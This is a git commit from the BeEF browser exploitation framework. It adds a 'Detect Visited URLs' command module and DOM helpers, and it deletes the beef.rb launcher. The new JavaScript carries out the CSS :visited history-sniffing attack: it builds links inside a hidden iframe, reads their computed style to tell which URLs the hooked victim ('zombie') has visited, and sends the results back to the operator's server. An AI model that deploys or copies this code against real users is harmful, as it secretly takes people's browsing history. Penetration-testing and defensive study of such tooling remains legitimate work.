Added hasVisted function/module. Issue #4. Additionally added removeElement() and isDOMElement() to dom.js

git-svn-id: https://beef.googlecode.com/svn/trunk@540 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
passbe
2010-11-17 12:21:58 +00:00
parent e0c0beb3b5
commit 7e8365de01
5 changed files with 112 additions and 27 deletions

27
beef.rb
View File

@@ -1,27 +0,0 @@
$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.'))
$root_dir = File.expand_path('..', __FILE__)
require 'lib/loader'
# load config
config = BeEF::Configuration.instance
# setup database
DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("database_file_name")}")
options = BeEF::Console::CommandLine.parse
if options[:resetdb] then DataMapper.auto_migrate!; BeEF::Migration.instance.update_db!; else DataMapper.auto_upgrade!; end
# check for new command modules
BeEF::Migration.instance.update_db!
BeEF::Console::Banner.generate
# start the requester proxy
#requester_proxy = BeEF::Requester::ProxyServer.instance
#requester_proxy.start
# start the hook server
http_hook_server = BeEF::HttpHookServer.instance
http_hook_server.start

View File

@@ -329,6 +329,46 @@ beef.browser = {
details["HostName"] = document.location.hostname;
return details;
},
/**
* Returns boolean (or array of results), whether or not the target zombie has visited the specified URL
*/
hasVisited: function(urls) {
var results = new Array();
var iframe = beef.dom.createInvisibleIframe();
var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
ifdoc.open();
ifdoc.write('<style>a:visited{width:0px !important;}</style>');
ifdoc.close();
urls = urls.split("\n");
var count = 0;
for (var i in urls)
{
var u = urls[i];
if (u != "" || u != null)
{
var success = false;
var a = ifdoc.createElement('a');
a.href = u;
ifdoc.body.appendChild(a);
var width = null;
(a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width");
if (width == '0px') {
success = true;
}
results.push({'url':u, 'visited':success});
count++;
}
}
beef.dom.removeElement(iframe);
if (results.length == 0)
{
return false;
} else if (results.length == 1) {
return results[0].visited;
}
return results;
}
};

View File

@@ -23,6 +23,29 @@ beef.dom = {
return el;
},
/**
* Removes element from the DOM.
* @param: {String or DOM Object} the target element to be removed.
*/
removeElement: function(el) {
if (!beef.dom.isDOMElement(el))
{
el = document.getElementById(el);
}
try {
el.parentNode.removeChild(el);
} catch (e) { }
},
/**
* Tests if the object is a DOM element.
* @param: {Object} the DOM element.
* @return: true if the object is a DOM element.
*/
isDOMElement: function(obj) {
return (obj.nodeType) ? true : false;
},
/**
* Creates an invisible iframe on the hook browser's page.
* @return: the iframe.

View File

@@ -0,0 +1,16 @@
beef.execute(function() {
var results = beef.browser.hasVisited("<%== format_multiline(@urls) %>");
window.console.log(results);
/*var comp = "";
if (results instanceof Array)
{
for (var i=0; i < results.length; i++)
{
comp += results[i].url+" = "+results[i].visited;
}
} else {
comp = "<%= @urls %> = "+results;
}*/
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result="+results);
});

View File

@@ -0,0 +1,33 @@
module BeEF
module Modules
module Commands
class Detect_visited_urls < BeEF::Command
def initialize
super({
'Name' => 'Detect Visited URLs',
'Description' => 'This module will detect whether or not the zombie has visited the specifed URL(s) before.',
'Category' => 'Browser',
'Author' => ['passbe'],
'Data' => [
['ui_label'=>'URL(s)', 'name'=>'urls', 'type'=>'textarea', 'value'=>'http://www.bindshell.net/', 'width'=>'200px']
],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
})
use_template!
end
def callback
save({'result' => @datastore['result']})
end
end
end
end
end